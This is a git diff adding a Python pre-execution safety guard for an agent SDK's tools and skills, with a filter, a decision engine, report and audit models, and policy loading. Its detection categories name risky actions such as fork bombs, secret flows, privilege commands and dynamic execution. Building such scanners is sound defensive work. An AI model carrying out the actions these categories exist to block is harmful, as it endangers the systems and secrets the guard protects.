shell_operators=_merge(self.shell_operators, other.shell_operators), + privilege_commands=_merge(self.privilege_commands, other.privilege_commands), + dependency_installs=_merge(self.dependency_installs, other.dependency_installs), + unbounded_loops=_merge(self.unbounded_loops, other.unbounded_loops), + fork_bombs=_merge(self.fork_bombs, other.fork_bombs), + long_sleeps=_merge(self.long_sleeps, other.long_sleeps), + concurrency=_merge(self.concurrency, other.concurrency), + large_writes=_merge(self.large_writes, other.large_writes), + secret_flows=_merge(self.secret_flows, other.secret_flows), + dynamic_execs=_merge(self.dynamic_execs, other.dynamic_execs), + parse_errors=_merge(self.parse_errors, other.parse_errors), + ) + + def has_any(self) -> bool: + return any( + ( + self.file_deletes, self.file_writes, self.file_reads, + self.network_calls, self.process_calls, self.shell_operators, + self.privilege_commands, self.dependency_installs, + self.unbounded_loops, self.fork_bombs, self.long_sleeps, + self.concurrency, self.large_writes, self.secret_flows, + self.dynamic_execs, self.parse_errors, + ) + ) diff --git a/trpc_agent_sdk/tools/safety/_filter.py b/trpc_agent_sdk/tools/safety/_filter.py new file mode 100644 index 00000000..481e4b4e --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_filter.py @@ -0,0 +1,463 @@ +"""Pre-execution safety filter. + +This adapter demonstrates the seam where the guard plugs into a Tool / +Skill execution pipeline. Its ``_before``/``_after`` hooks mirror the +framework filter shape, but it is deliberately standalone and is not a +drop-in ``BaseFilter`` under the current SDK ordering rules. Use the wrapper +for present-day enforcement; a future terminal phase can invoke this adapter +after callback mutations have completed. + +For environments where direct framework wiring is not yet available, the +:class:`ToolScriptSafetyFilter` also exposes a synchronous +``check(tool_name, args)`` API that the standalone wrapper consumes. +""" + +from __future__ import annotations + +import asyncio +import contextvars +import datetime as _dt +import logging +from typing import Any, Coroutine, Mapping, TypeVar + +from trpc_agent_sdk.tools.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink +from trpc_agent_sdk.tools.safety._exceptions import ( + SafetyAuditError, + ToolRequestError, +) +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import ( + SafetyDecision, + SafetyReport, + SafetyScanRequest, + ToolKind, +) +from trpc_agent_sdk.tools.safety._policy import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._telemetry import TelemetrySink, build_audit_event, get_default_sink +from trpc_agent_sdk.tools.safety._tool_adapter import ( + ToolInputAdapter, + build_default_adapters, + resolve_adapter, +) + + +# ContextVar so concurrent tool calls do not share trace state. The value +# is the sanitized arguments to emit on the next ``trace_tool_call``. +_trace_args_var: contextvars.ContextVar[tuple[str, ...] | None] = \ + contextvars.ContextVar("tool_safety_trace_args", default=None) +_LOGGER = logging.getLogger(__name__) +_ResultT = TypeVar("_ResultT") + + +class BlockedExecutionError(Exception): + """Raised by ``enforce`` when execution must not proceed. + + The ``report`` attribute gives callers all the context they need to + render a structured error response without re-scanning. + """ + + def __init__(self, report: SafetyReport, message: str = "") -> None: + super().__init__(message or report.recommendation) + self.report = report + + +class ToolScriptSafetyFilter: + """Terminal pre-execution safety filter. + + Usage (sync API, used by the wrapper and tests):: + + policy = load_safety_policy("policy.yaml") + guard = ToolSafetyGuard(policy) + flt = ToolScriptSafetyFilter(guard, audit_sink=JsonlAuditSink(...)) + decision, report = flt.check("workspace_exec", {"command": "ls"}) + + The ``_before``/``_after`` hooks are reserved for a future SDK terminal + phase. Do not add this object to today's ``filters=`` list: ordinary + callbacks can still mutate arguments after the configured filters run. + + The filter follows the plan's ``fail-closed`` posture: ``deny`` and + un-approved ``needs_human_review`` block execution; audit failures + block execution when ``policy.audit.required`` is true. + """ + + # Metadata for the future terminal-phase seam. It has no effect until the + # framework explicitly implements terminal ordering. + terminal_before_handler: bool = True + + def __init__( + self, + guard: ToolSafetyGuard, + *, + audit_sink: AuditSink | None = None, + telemetry: TelemetrySink | None = None, + builtin_adapters: dict[str, ToolInputAdapter] | None = None, + ) -> None: + self.guard = guard + self.policy: ToolSafetyPolicy = guard.policy + self.audit_sink: AuditSink = audit_sink or ( + NullAuditSink() if not self.policy.audit.enabled + else InMemoryAuditSink() + ) + self._telemetry = telemetry + self._builtin = builtin_adapters or build_default_adapters(self.policy) + + # ------------------------------------------------------------------ # + # Decision-and-recording interface + # ------------------------------------------------------------------ # + + def check( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> tuple[SafetyDecision, SafetyReport]: + """Scan inputs and return (decision, report). + + Performs audit + telemetry but does *not* raise on deny/review. + Callers that want fail-closed behavior should use ``enforce``. + """ + + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return self._run_sync(self.check_request_async(request)) + + async def check_async( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> tuple[SafetyDecision, SafetyReport]: + """Async form of :meth:`check` that waits for required audit I/O.""" + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return await self.check_request_async(request) + + def check_request( + self, request: SafetyScanRequest, + ) -> tuple[SafetyDecision, SafetyReport]: + """Scan and record an already-normalized request synchronously.""" + return self._run_sync(self.check_request_async(request)) + + async def check_request_async( + self, request: SafetyScanRequest, + ) -> tuple[SafetyDecision, SafetyReport]: + """Scan and durably record an already-normalized request.""" + report = self.guard.scan(request) + blocked = self.blocks_execution(report) + await self.record_report_async(request, report, blocked=blocked) + return report.decision, report + + def enforce( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> SafetyReport: + """Like :meth:`check` but raises :class:`BlockedExecutionError`. + + Use this in the wrapper and any future framework hook so the + caller's code path is the same regardless of how the block is + reached. + """ + + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return self.enforce_request(request) + + async def enforce_async( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> SafetyReport: + """Async form of :meth:`enforce` for async delegates.""" + request = self._build_request( + tool_name, args, tool_kind=tool_kind, metadata=metadata) + return await self.enforce_request_async(request) + + def enforce_request(self, request: SafetyScanRequest) -> SafetyReport: + """Fail closed unless the normalized request is allowed and audited.""" + return self._run_sync(self.enforce_request_async(request)) + + async def enforce_request_async( + self, request: SafetyScanRequest, + ) -> SafetyReport: + """Async fail-closed form of :meth:`enforce_request`.""" + decision, report = await self.check_request_async(request) + if decision == SafetyDecision.ALLOW: + return report + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ + and not self.policy.defaults.human_review_blocks_execution: + return report + raise BlockedExecutionError(report) + + # ------------------------------------------------------------------ # + # Async API (duck-typed for future BaseFilter integration) + # ------------------------------------------------------------------ # + + async def _before(self, ctx: Any, req: Any, rsp: Any) -> None: + """Duck-typed hook for ``trpc_agent_sdk.filter.BaseFilter``. + + ``ctx`` is expected to expose ``tool_name`` (or be a string); + ``req`` is expected to be a mapping of tool arguments or an + object with ``arguments``. ``rsp`` is the framework's + ``FilterResult``: we set ``is_continue`` and ``rsp`` on it. + """ + + tool_name = _resolve_tool_name(ctx, req) + args = _resolve_args(req) + tool_kind = _resolve_tool_kind(ctx, req) + try: + _, report = await self.check_async( + tool_name, args, tool_kind=tool_kind) + except ToolRequestError as exc: + request = SafetyScanRequest( + tool_name=tool_name, + tool_kind=tool_kind, + script="", + ) + report = self.guard.error_report(request, exc) + await self.record_report_async(request, report, blocked=True) + _set_filter_continue(rsp, False) + _set_filter_rsp(rsp, _render_block(report)) + return + if report.decision == SafetyDecision.ALLOW: + _set_filter_continue(rsp, True) + self._set_trace_args(tool_name, args, report) + return + if report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ + and not self.policy.defaults.human_review_blocks_execution: + _set_filter_continue(rsp, True) + self._set_trace_args(tool_name, args, report) + return + _set_filter_continue(rsp, False) + _set_filter_rsp(rsp, _render_block(report)) + + async def _after(self, ctx: Any, req: Any, rsp: Any) -> None: + # No post-execution work for now; the audit event is written in + # ``check`` so it lands before the handler runs. + return None + + # ------------------------------------------------------------------ # + # Internals + # ------------------------------------------------------------------ # + + async def record_report_async( + self, + request: SafetyScanRequest, + report: SafetyReport, + *, + blocked: bool, + ) -> None: + """Record telemetry and await the audit event before execution.""" + + # Telemetry is best effort; audit is the enforcement-critical side + # effect and therefore is awaited below. + sink = self._telemetry or get_default_sink() + try: + sink.record(report, tool_name=request.tool_name, blocked=blocked) + except (AttributeError, RuntimeError, TypeError) as exc: + _LOGGER.warning( + "tool safety telemetry recording failed: %s", + type(exc).__name__, + ) + event = build_audit_event( + report=report, + tool_name=request.tool_name, + tool_kind=request.tool_kind, + execution_blocked=blocked, + timestamp=_utc_now_iso(), + ) + try: + await self.audit_sink.emit(event) + except SafetyAuditError: + if self.policy.audit.required: + # Re-raise so the wrapper's fail-closed path engages. + raise + except Exception: # pragma: no cover - defensive + if self.policy.audit.required: + raise SafetyAuditError("unexpected audit emit failure") + + def _build_request( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind, + metadata: Mapping[str, Any] | None, + ) -> SafetyScanRequest: + adapter = resolve_adapter(tool_name, self.policy, + builtin=self._builtin) + request = adapter.build_request( + args, metadata=metadata, + ) if _looks_like_args_dict(args) else _build_request_from_raw( + tool_name, tool_kind, args, adapter, + ) + if request.tool_kind == ToolKind.UNKNOWN: + return request.model_copy(update={"tool_kind": tool_kind}) + return request + + def _run_sync( + self, + coroutine: Coroutine[Any, Any, _ResultT], + ) -> _ResultT: + try: + asyncio.get_running_loop() + except RuntimeError: + return asyncio.run(coroutine) + coroutine.close() + raise SafetyAuditError( + "synchronous safety enforcement cannot run inside an event loop; " + "use the async interface so required audit I/O is awaited" + ) + + def blocks_execution(self, report: SafetyReport) -> bool: + """Return whether policy requires this report to block execution.""" + + return report.decision == SafetyDecision.DENY or ( + report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + and self.policy.defaults.human_review_blocks_execution + ) + + def _set_trace_args( + self, + tool_name: str, + args: Mapping[str, Any], + report: SafetyReport, + ) -> None: + # Replace env/script with placeholders so downstream tracing + # doesn't echo raw secrets. + sanitized = dict(args) + for key in ("env", "environment"): + if key in sanitized and isinstance(sanitized[key], Mapping): + sanitized[key] = {k: "" for k in sanitized[key]} + for key in ("script", "code", "command"): + if key in sanitized: + sanitized[key] = f"" + _trace_args_var.set(tuple((f"{tool_name}", repr(sanitized)))) + + +def _looks_like_args_dict(args: Any) -> bool: + return isinstance(args, Mapping) + + +def _build_request_from_raw( + tool_name: str, + tool_kind: ToolKind, + args: Any, + adapter: ToolInputAdapter, +) -> SafetyScanRequest: + """Fallback for when args is not a Mapping (e.g. raw string).""" + + if isinstance(args, str): + return SafetyScanRequest( + tool_name=tool_name, + tool_kind=tool_kind, + language=adapter.mapping.language, + script=args, + ) + if isinstance(args, Mapping): + return adapter.build_request(args) + raise ToolRequestError( + f"unsupported args type {type(args)!r} for tool {tool_name!r}") + + +def _resolve_tool_name(ctx: Any, req: Any) -> str: + for source in (req, ctx): + for attr in ("tool_name", "name", "tool"): + value = getattr(source, attr, None) + if isinstance(value, str) and value: + return value + if isinstance(ctx, str): + return ctx + return "unknown" + + +def _resolve_args(req: Any) -> Mapping[str, Any]: + if isinstance(req, Mapping): + return req + args = getattr(req, "arguments", None) + if isinstance(args, Mapping): + return args + if isinstance(req, str): + return {"command": req} + return {} + + +def _resolve_tool_kind(ctx: Any, req: Any) -> ToolKind: + for source in (req, ctx): + value = getattr(source, "tool_kind", None) + if isinstance(value, ToolKind): + return value + if isinstance(value, str): + try: + return ToolKind(value) + except ValueError: + continue + return ToolKind.UNKNOWN + + +def _set_filter_continue(rsp: Any, value: bool) -> None: + if rsp is None: + return + if hasattr(rsp, "is_continue"): + try: + rsp.is_continue = value + return + except Exception: # pragma: no cover + pass + if isinstance(rsp, dict): + rsp["is_continue"] = value + + +def _set_filter_rsp(rsp: Any, payload: Mapping[str, Any]) -> None: + if rsp is None: + return + if hasattr(rsp, "rsp"): + try: + rsp.rsp = dict(payload) + return + except Exception: # pragma: no cover + pass + if isinstance(rsp, dict): + rsp.update(payload) + + +def _render_block(report: SafetyReport) -> dict[str, Any]: + return { + "tool_safety": { + "report_id": report.report_id, + "decision": report.decision.value, + "risk_level": report.risk_level.label(), + "rule_ids": list(report.rule_ids), + "recommendation": report.recommendation, + "policy_hash": report.policy_hash, + "findings": [ + { + "rule_id": f.rule_id, + "category": f.category.value, + "risk_level": f.risk_level.label(), + "evidence": f.evidence.snippet, + "location": { + "line": f.evidence.line, + "column": f.evidence.column, + }, + "extras": dict(f.evidence.extras), + "recommendation": f.recommendation, + } + for f in report.findings + ], + }, + } + + +def _utc_now_iso() -> str: + return _dt.datetime.now(_dt.timezone.utc).isoformat() diff --git a/trpc_agent_sdk/tools/safety/_guard.py b/trpc_agent_sdk/tools/safety/_guard.py new file mode 100644 index 00000000..56baa66d --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_guard.py @@ -0,0 +1,270 @@ +"""Decision engine that aggregates rule findings into one report. + +The guard is intentionally stateless and synchronous. It does not perform +file writes, network access, process creation, or telemetry emission. +Execution-chain adapters (Filter, wrapper) own audit and tracing. +""" + +from __future__ import annotations + +import hashlib +import time +import uuid +from typing import Iterable, Sequence + +from trpc_agent_sdk.tools.safety._exceptions import SafetyGuardError, SafetyScannerError +from trpc_agent_sdk.tools.safety._models import ( + SAFE_RULE_ID, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, +) +from trpc_agent_sdk.tools.safety._policy import POLICY_VERSION, ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._redaction import Redactor, evidence_was_redacted +from trpc_agent_sdk.tools.safety._rules import SafetyRule, default_rules + +INTERNAL_ERROR_RULE_ID = "GUARD001_INTERNAL_ERROR" + + +class ToolSafetyGuard: + """Stateless scanner that turns a request into a SafetyReport.""" + + def __init__( + self, + policy: ToolSafetyPolicy, + *, + rules: Sequence[SafetyRule] | None = None, + ) -> None: + self.policy = policy + self._rules: list[SafetyRule] = list(rules) if rules is not None \ + else default_rules() + self._validate_rule_ids() + + @property + def rules(self) -> list[SafetyRule]: + return list(self._rules) + + @property + def policy_hash(self) -> str: + return self.policy.hash + + @property + def policy_version(self) -> str: + return POLICY_VERSION + + def scan(self, request: SafetyScanRequest) -> SafetyReport: + started = time.perf_counter() + size_error: Exception | None = None + try: + self._validate_request_size(request) + except SafetyScannerError as exc: + size_error = exc + findings: list[SafetyFinding] = [] + redactor = Redactor(env_values=request.env.values()) + scan_error: Exception | None = size_error + if scan_error is None: + try: + for rule in self._rules: + findings.extend(rule.scan(request, self.policy)) + except SafetyScannerError as exc: + scan_error = exc + except SafetyGuardError as exc: + scan_error = exc + except Exception as exc: # pragma: no cover - defensive + scan_error = exc + if scan_error is not None: + findings.append(self._internal_error_finding(scan_error, redactor, + request)) + findings = _deduplicate(findings) + elapsed_ms = (time.perf_counter() - started) * 1000.0 + return self._build_report(request, findings, elapsed_ms, redactor) + + def error_report( + self, + request: SafetyScanRequest, + error: Exception, + ) -> SafetyReport: + """Create a fail-closed report when request normalization fails. + + The execution adapters use this instead of dropping an audit event + when they cannot construct a complete scan request. + """ + started = time.perf_counter() + redactor = Redactor(env_values=request.env.values()) + finding = self._internal_error_finding(error, redactor, request) + elapsed_ms = (time.perf_counter() - started) * 1000.0 + return self._build_report(request, [finding], elapsed_ms, redactor) + + # ----- internals ----- # + + def _validate_rule_ids(self) -> None: + seen: set[str] = set() + for rule in self._rules: + rule_id = getattr(rule, "rule_id", "") + if not rule_id: + raise SafetyGuardError( + f"rule {rule!r} is missing a stable rule_id") + if rule_id in seen: + raise SafetyGuardError(f"duplicate rule_id {rule_id!r}") + seen.add(rule_id) + + def _validate_request_size(self, request: SafetyScanRequest) -> None: + limit = self.policy.limits.max_script_bytes + if limit <= 0: + return + if len(request.script.encode("utf-8", errors="ignore")) > limit: + # Build a finding via the rule catalog so the decision is + # consistent. We add it through findings below by raising. + raise SafetyScannerError( + f"script exceeds max_script_bytes={limit}") + + def _internal_error_finding( + self, + exc: Exception, + redactor: Redactor, + request: SafetyScanRequest, + ) -> SafetyFinding: + # Map policy default for guard errors; "deny" by default. + mapping = { + "allow": SafetyDecision.ALLOW, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + "deny": SafetyDecision.DENY, + } + decision = mapping.get(self.policy.defaults.guard_error, + SafetyDecision.DENY) + message = type(exc).__name__ + evidence = redactor.build_evidence( + snippet=f"guard error: {message}", + language=request.language, + extras={"error_kind": message}, + ) + return SafetyFinding( + rule_id=INTERNAL_ERROR_RULE_ID, + category=RiskCategory.ANALYSIS, + risk_level=RiskLevel.CRITICAL, + decision=decision, + evidence=evidence, + recommendation=("Internal guard error; failing closed per " + "policy.defaults.guard_error."), + ) + + def _build_report( + self, + request: SafetyScanRequest, + findings: list[SafetyFinding], + elapsed_ms: float, + redactor: Redactor, + ) -> SafetyReport: + script_sha = hashlib.sha256( + request.script.encode("utf-8", errors="ignore") + ).hexdigest() + report_id = _new_report_id() + if not findings: + return SafetyReport( + report_id=report_id, + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="No safety rules matched.", + policy_hash=self.policy_hash, + policy_version=self.policy_version, + script_sha256=script_sha, + scan_duration_ms=elapsed_ms, + redacted=False, + ) + decision = _aggregate_decision(findings) + risk_level = _aggregate_risk(findings) + rule_ids = _stable_rule_ids(findings) + recommendation = _aggregate_recommendation(findings, decision) + return SafetyReport( + report_id=report_id, + decision=decision, + risk_level=risk_level, + rule_ids=rule_ids, + findings=tuple(findings), + recommendation=recommendation, + policy_hash=self.policy_hash, + policy_version=self.policy_version, + script_sha256=script_sha, + scan_duration_ms=elapsed_ms, + redacted=redactor.active or any( + evidence_was_redacted(finding.evidence) + for finding in findings + ), + ) + + +# Imports here to avoid circular import at module load. +from trpc_agent_sdk.tools.safety._models import RiskCategory # noqa: E402 + + +# --------------------------------------------------------------------------- # +# Aggregation helpers (kept here so the module owns its decision surface) +# --------------------------------------------------------------------------- # + +_DECISION_RANK: dict[SafetyDecision, int] = { + SafetyDecision.ALLOW: 0, + SafetyDecision.NEEDS_HUMAN_REVIEW: 1, + SafetyDecision.DENY: 2, +} + + +def _aggregate_decision(findings: Iterable[SafetyFinding]) -> SafetyDecision: + ranked = [_DECISION_RANK[f.decision] for f in findings] + if not ranked: + return SafetyDecision.ALLOW + worst = max(ranked) + for decision, rank in _DECISION_RANK.items(): + if rank == worst: + return decision + return SafetyDecision.DENY # pragma: no cover + + +def _aggregate_risk(findings: Iterable[SafetyFinding]) -> RiskLevel: + try: + return max(f.risk_level for f in findings) + except ValueError: + return RiskLevel.INFO + + +def _stable_rule_ids(findings: Iterable[SafetyFinding]) -> tuple[str, ...]: + return tuple(sorted({f.rule_id for f in findings})) + + +def _aggregate_recommendation( + findings: list[SafetyFinding], decision: SafetyDecision +) -> str: + if decision == SafetyDecision.DENY: + return "Block execution and request a human-approved path." + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW: + return "Pause for human review before executing." + return "Proceed with sandbox and runtime limits." + + +def _deduplicate(findings: list[SafetyFinding]) -> list[SafetyFinding]: + """Stable de-duplication on (rule_id, decision, evidence.snippet, line). + + Sorting is rule_id -> risk_level desc -> line so output is stable. + """ + + seen: set[tuple[str, int, str, int]] = set() + unique: list[SafetyFinding] = [] + for finding in findings: + key = (finding.rule_id, finding.decision.value, # type: ignore[union-attr] + finding.evidence.snippet, finding.evidence.line) + if key in seen: + continue + seen.add(key) + unique.append(finding) + + def _sort_key(f: SafetyFinding) -> tuple[str, int, int, int]: + return (-f.risk_level, f.rule_id, f.evidence.line, f.evidence.column) + + return sorted(unique, key=_sort_key) + + +def _new_report_id() -> str: + return "rep-" + uuid.uuid4().hex[:16] diff --git a/trpc_agent_sdk/tools/safety/_models.py b/trpc_agent_sdk/tools/safety/_models.py new file mode 100644 index 00000000..fb8d30ef --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_models.py @@ -0,0 +1,300 @@ +"""Pydantic models for the safety guard. + +Invariants +---------- +* Reports never serialize ``script``, raw ``argv``, ``cwd``, or environment + values. Use :class:`Evidence` for bounded, redacted snippets. +* ``rule_ids`` are sorted and de-duplicated for stable output. +* Aggregate decision precedence: ``deny > needs_human_review > allow``. +* Aggregate risk precedence: ``critical > high > medium > low > info``. +* Policy hash is SHA-256 over canonical JSON after validation. +""" + +from __future__ import annotations + +import enum +import hashlib +from typing import Annotated, Any, Mapping + +from pydantic import BaseModel, ConfigDict, Field +from pydantic.functional_serializers import PlainSerializer + + +class ToolKind(str, enum.Enum): + """Where the scanned input originates.""" + + TOOL = "tool" + MCP = "mcp" + SKILL = "skill" + CODE_EXECUTOR = "code_executor" + UNKNOWN = "unknown" + + +class ScriptLanguage(str, enum.Enum): + """Script languages the scanner understands.""" + + PYTHON = "python" + BASH = "bash" + UNKNOWN = "unknown" + + +class SafetyDecision(str, enum.Enum): + """Three-state decision emitted by the guard.""" + + ALLOW = "allow" + NEEDS_HUMAN_REVIEW = "needs_human_review" + DENY = "deny" + + +class RiskLevel(int, enum.Enum): + """Severity ranking used for stable ordering of findings.""" + + INFO = 10 + LOW = 20 + MEDIUM = 30 + HIGH = 40 + CRITICAL = 50 + + def label(self) -> str: + return self.name.lower() + + +# Annotated alias so Pydantic v2 serializes risk levels as lowercase +# labels (``"high"``, ``"critical"``) instead of opaque integers. The +# core value remains comparable as an int for sorting / aggregation. +RiskLevelLabel = Annotated[ + RiskLevel, + PlainSerializer( + lambda v: v.label(), + return_type=str, + when_used="always", + ), +] + + +class RiskCategory(str, enum.Enum): + """Top-level risk category for grouping findings.""" + + FILE = "file" + NETWORK = "network" + PROCESS = "process" + DEPENDENCY = "dependency" + RESOURCE = "resource" + SECRET = "secret" + ANALYSIS = "analysis" + SAFE = "safe" + + +# Stable rule id emitted by allow-path reports when no finding matches. +SAFE_RULE_ID = "SAFE000" + +# Hard cap on evidence snippet length after redaction. +EVIDENCE_MAX_CHARS = 240 + + +class Evidence(BaseModel): + """Bounded, redacted proof that a rule fired. + + ``snippet`` is always redacted before being placed here. ``location`` + uses 1-based line numbers when available; ``column`` is 1-based when + known and ``0`` when not applicable. + """ + + model_config = ConfigDict(extra="forbid") + + snippet: str = Field(default="", description="Redacted source slice") + line: int = Field(default=0, ge=0) + column: int = Field(default=0, ge=0) + language: ScriptLanguage = Field(default=ScriptLanguage.UNKNOWN) + extras: Mapping[str, str] = Field(default_factory=dict) + + def model_dump_json(self, **kwargs: Any) -> str: # type: ignore[override] + kwargs.setdefault("exclude_none", True) + return super().model_dump_json(**kwargs) + + +class SafetyScanRequest(BaseModel): + """Normalized input handed to the guard. + + ``script`` and ``env`` are marked ``repr=False`` so logs never echo + raw content even if someone prints the model instance. + """ + + model_config = ConfigDict(extra="forbid") + + tool_name: str + tool_kind: ToolKind = ToolKind.UNKNOWN + language: ScriptLanguage = ScriptLanguage.UNKNOWN + script: str = Field(default="", repr=False) + argv: tuple[str, ...] = () + cwd: str | None = None + env: Mapping[str, str] = Field(default_factory=dict, repr=False) + metadata: Mapping[str, Any] = Field(default_factory=dict) + requested_timeout_seconds: float | None = None + requested_output_bytes: int | None = None + + +class SafetyFinding(BaseModel): + """A single rule match.""" + + model_config = ConfigDict(extra="forbid") + + rule_id: str + category: RiskCategory + risk_level: RiskLevelLabel + decision: SafetyDecision + evidence: Evidence + recommendation: str + + +class SafetyReport(BaseModel): + """Aggregated scan result for one request. + + Reports are immutable by design. They never carry raw scripts or env + values; downstream code can safely serialize them to JSON. + """ + + model_config = ConfigDict(extra="forbid", frozen=True) + + report_id: str + decision: SafetyDecision + risk_level: RiskLevelLabel + rule_ids: tuple[str, ...] + findings: tuple[SafetyFinding, ...] + recommendation: str + policy_hash: str + policy_version: str + script_sha256: str + scan_duration_ms: float + redacted: bool + + def model_dump_json(self, **kwargs: Any) -> str: # type: ignore[override] + kwargs.setdefault("exclude_none", True) + return super().model_dump_json(**kwargs) + + @classmethod + def combine( + cls, + reports: list[SafetyReport], + *, + report_id: str, + policy_hash: str, + policy_version: str, + scan_duration_ms: float, + ) -> SafetyReport: + """Combine multiple reports into one decision. + + Used by the CodeExecutor wrapper when several code blocks share a + single execution attempt. + """ + + findings: list[SafetyFinding] = [] + script_hashes: list[str] = [] + any_redacted = False + for report in reports: + findings.extend(report.findings) + script_hashes.append(report.script_sha256) + any_redacted = any_redacted or report.redacted + decision = _aggregate_decision(findings) + risk_level = _aggregate_risk(findings) + rule_ids = _stable_rule_ids(findings) + recommendation = _aggregate_recommendation(findings, decision) + if not findings: + return cls( + report_id=report_id, + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="No safety rules matched.", + policy_hash=policy_hash, + policy_version=policy_version, + script_sha256=hashlib.sha256( + "\n".join(script_hashes).encode("utf-8", errors="ignore") + ).hexdigest(), + scan_duration_ms=scan_duration_ms, + redacted=False, + ) + return cls( + report_id=report_id, + decision=decision, + risk_level=risk_level, + rule_ids=rule_ids, + findings=tuple(findings), + recommendation=recommendation, + policy_hash=policy_hash, + policy_version=policy_version, + script_sha256=hashlib.sha256( + "\n".join(script_hashes).encode("utf-8", errors="ignore") + ).hexdigest(), + scan_duration_ms=scan_duration_ms, + redacted=any_redacted, + ) + + +class SafetyAuditEvent(BaseModel): + """One line in an audit log per scan attempt. + + Audit events deliberately exclude raw scripts, arguments, environment + values, cwd, and unredacted evidence. They carry enough information to + answer "who, what, when, why, blocked?" and nothing more. + """ + + model_config = ConfigDict(extra="forbid") + + event_id: str + timestamp: str + report_id: str + tool_name: str + tool_kind: ToolKind + decision: SafetyDecision + risk_level: RiskLevelLabel + rule_ids: tuple[str, ...] + duration_ms: float + redacted: bool + execution_blocked: bool + policy_hash: str + policy_version: str + script_sha256: str + scanner_version: str = "1.0.0" + invocation_id: str | None = None + + +# --------------------------------------------------------------------------- # +# Aggregation helpers +# --------------------------------------------------------------------------- # + +_DECISION_RANK: dict[SafetyDecision, int] = { + SafetyDecision.ALLOW: 0, + SafetyDecision.NEEDS_HUMAN_REVIEW: 1, + SafetyDecision.DENY: 2, +} + + +def _aggregate_decision(findings: list[SafetyFinding]) -> SafetyDecision: + if not findings: + return SafetyDecision.ALLOW + worst = max(findings, key=lambda f: _DECISION_RANK[f.decision]) + return worst.decision + + +def _aggregate_risk(findings: list[SafetyFinding]) -> RiskLevel: + if not findings: + return RiskLevel.INFO + return max(f.risk_level for f in findings) + + +def _stable_rule_ids(findings: list[SafetyFinding]) -> tuple[str, ...]: + return tuple(sorted({f.rule_id for f in findings})) + + +def _aggregate_recommendation( + findings: list[SafetyFinding], decision: SafetyDecision +) -> str: + if not findings: + return "No safety rules matched." + if decision == SafetyDecision.DENY: + return "Block execution and request a human-approved path." + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW: + return "Pause for human review before executing." + return "Proceed with sandbox and runtime limits." diff --git a/trpc_agent_sdk/tools/safety/_policy.py b/trpc_agent_sdk/tools/safety/_policy.py new file mode 100644 index 00000000..5e218caf --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_policy.py @@ -0,0 +1,426 @@ +"""Policy loading, validation, normalization, and hashing. + +The policy is the single source of truth for allow/deny lists, limits, and +per-tool field mappings. Changing YAML is supposed to change behavior +without touching code, so: + +* Unknown keys, invalid enum values, or negative limits fail at load time. +* Normalization produces a canonical form used for both matching and the + policy hash. +* The hash is SHA-256 over canonical JSON so identical configs produce + identical hashes regardless of YAML formatting. +""" + +from __future__ import annotations + +import hashlib +import json +import os +import re +from pathlib import PurePosixPath +from typing import Any, Iterable + +import yaml +from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator + +from trpc_agent_sdk.tools.safety._exceptions import SafetyPolicyError +from trpc_agent_sdk.tools.safety._models import ScriptLanguage, ToolKind + +POLICY_VERSION = "1" + + +class NetworkPolicy(BaseModel): + """Allowed domains and IP handling. + + Domains are normalized lowercase. ``"*."`` prefix matches exactly one + subdomain level (``*.example.com`` matches ``api.example.com`` but not + ``example.com`` or ``a.b.example.com``). + """ + + model_config = ConfigDict(extra="forbid") + + allow_domains: tuple[str, ...] = () + deny_ip_literals: bool = True + + @field_validator("allow_domains", mode="before") + @classmethod + def _normalize_domains(cls, value: Any) -> Any: + if value is None: + return () + if isinstance(value, str): + raise SafetyPolicyError("allow_domains must be a list") + normalized: list[str] = [] + for domain in value: + if not isinstance(domain, str) or not domain.strip(): + raise SafetyPolicyError(f"invalid domain entry: {domain!r}") + d = domain.strip().lower().rstrip(".") + if not d: + raise SafetyPolicyError(f"invalid domain entry: {domain!r}") + if "*" in d and not d.startswith("*."): + raise SafetyPolicyError( + f"wildcard domain must start with '*.': {domain!r}" + ) + normalized.append(d) + return tuple(normalized) + + +class CommandsPolicy(BaseModel): + """Executable allow/deny lists (compared by basename).""" + + model_config = ConfigDict(extra="forbid") + + allow: tuple[str, ...] = () + deny: tuple[str, ...] = () + + @field_validator("allow", "deny", mode="before") + @classmethod + def _normalize_commands(cls, value: Any) -> Any: + if value is None: + return () + if isinstance(value, str): + raise SafetyPolicyError("command list must be a list") + normalized: list[str] = [] + for command in value: + if not isinstance(command, str) or not command.strip(): + raise SafetyPolicyError(f"invalid command entry: {command!r}") + normalized.append(command.strip().lower()) + return tuple(normalized) + + +class PathsPolicy(BaseModel): + """Denied path globs (matched lexically, no 